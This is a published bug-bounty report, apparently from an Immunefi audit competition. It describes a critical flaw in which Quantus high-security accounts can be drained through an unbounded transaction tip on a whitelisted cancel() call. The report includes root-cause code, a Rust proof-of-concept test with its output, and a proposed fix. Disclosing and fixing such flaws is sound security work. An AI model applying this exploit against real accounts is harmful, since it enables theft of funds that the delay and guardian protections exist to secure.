tradi3_ Kurt Landman
Public report archive

Quantus T3-007

High-security accounts can be drained immediately via an unbounded tip on a whitelisted call

ReversibleTransactionExtension validates only the extrinsic call against the high-security whitelist and never inspects the transaction tip, allowing a signed whitelisted cancel() with an unbounded tip to drain the account's free balance at pre-dispatch.

Severity
Critical
Outcome
paid
Competition
Audit Comp | Quantus
Official report ID
IMM-BC-CRITICAL-88609
Published

Summary

Published Immunefi report #89347 (IMM-BC-CRITICAL-88609, pp. 18-19 of the official Immunefi / Quantus Audit Competition Report PDF). Quantus high-security accounts (pallet_reversible_transfers) are designed so that an attacker who compromises an account’s signing key cannot move funds immediately: all transfers must enter a delay window during which a configured guardian can cancel them.

However, ReversibleTransactionExtension enforces the high-security policy on the call only and never inspects the extrinsic tip. A signed extrinsic calling a whitelisted function (ReversibleTransfers::cancel) with a large tip passes the high-security gate and immediately withdraws the account’s entire free balance (down to EXISTENTIAL_DEPOSIT) during ChargeTransactionPayment pre-dispatch, with no delay, no pending transfer record, and nothing for the guardian to cancel or recover.

Root cause

In runtime/src/lib.rs (commit 3b243b870a5442a6e5f443056f67bbba87d472f5), ReversibleTransactionExtension runs before ChargeTransactionPayment in TxExtension, but its validate method only checks the call variant:

if !crate::configs::HighSecurityConfig::is_call_allowed(&who, call) {
    return Err(TransactionValidityError::Invalid(InvalidTransaction::Custom(1)));
}

In primitives/high-security/src/lib.rs, is_call_allowed checks !is_high_security || is_whitelisted(call). The tip is not passed to is_call_allowed, and pallet_reversible_transfers never inspects or caps tips anywhere in the runtime.

Because ReversibleTransfers::cancel is whitelisted in runtime/src/configs/mod.rs:

  1. A signed cancel(H256::default()) from the high-security account passes ReversibleTransactionExtension::validate.
  2. ChargeTransactionPayment computes the fee including the arbitrary caller-chosen tip and withdraws fee + tip from the sender’s free balance in prepare (pre-dispatch), before the call body executes.
  3. Even though cancel targets a nonexistent tx_id, the pre-dispatch fee and tip withdrawal has already succeeded and is queued in CollectedFees, where pallets/mining-rewards/src/lib.rs pays it out to the block author.

Proof of concept

Running cargo test -p quantus-runtime --test hs_tip_drain_poc -- --nocapture against commit 3b243b870a5442a6e5f443056f67bbba87d472f5:

victim free balance before      : 100000000000
control: direct transfer BLOCKED by high-security whitelist
attack : whitelisted cancel ALLOWED by high-security whitelist
inclusion fee (no tip)          : 1028157000
attacker-chosen tip             : 97971843000
victim free balance after       : 1000000000
value removed                   : 99000000000
CollectedFees after             : 99000000000

test result: ok. 2 passed

Core test logic:

let direct = RuntimeCall::Balances(pallet_balances::Call::transfer_allow_death {
    dest: MultiAddress::Id(outsider()),
    value: free_before / 2,
});
assert!(hs_gate(&direct).is_err());

let call = RuntimeCall::ReversibleTransfers(pallet_reversible_transfers::Call::cancel {
    tx_id: sp_core::H256::default(),
});
assert!(hs_gate(&call).is_ok());

let info = call.get_dispatch_info();
let fee_no_tip = pallet_transaction_payment::Pallet::<Runtime>::compute_fee(0, &info, 0u128);
let tip = free_before.saturating_sub(EXISTENTIAL_DEPOSIT).saturating_sub(fee_no_tip);

let (_valid, val, origin) = ChargeTransactionPayment::<Runtime>::from(tip)
    .validate(RuntimeOrigin::signed(victim()), &call, &info, 0, (), &TxBaseImplication::<()>(()), TransactionSource::External)
    .expect("unbounded tip accepted");

let _pre = ChargeTransactionPayment::<Runtime>::from(tip)
    .prepare(val, &origin, &call, &info, 0)
    .expect("fee + tip withdrawal");

assert_eq!(Balances::free_balance(victim()), EXISTENTIAL_DEPOSIT);
assert!(pallet_reversible_transfers::PendingTransfersBySender::<Runtime>::get(victim()).is_empty());

Impact

An attacker holding a compromised high-security key (or tricking a user into signing a whitelisted cancel extrinsic) drains 99% of the account’s free balance in a single block, bypassing the delay window and guardian interception guarantees documented in pallets/reversible-transfers/README.md. If the submitter also mines/authors the block, pallets/mining-rewards mints the collected tip directly to the attacker.

Reject non-zero tips (or enforce a strict low tip ceiling) for high-security origins inside ReversibleTransactionExtension, or route any tip above the base inclusion fee through the delayed, guardian-cancellable transfer mechanism.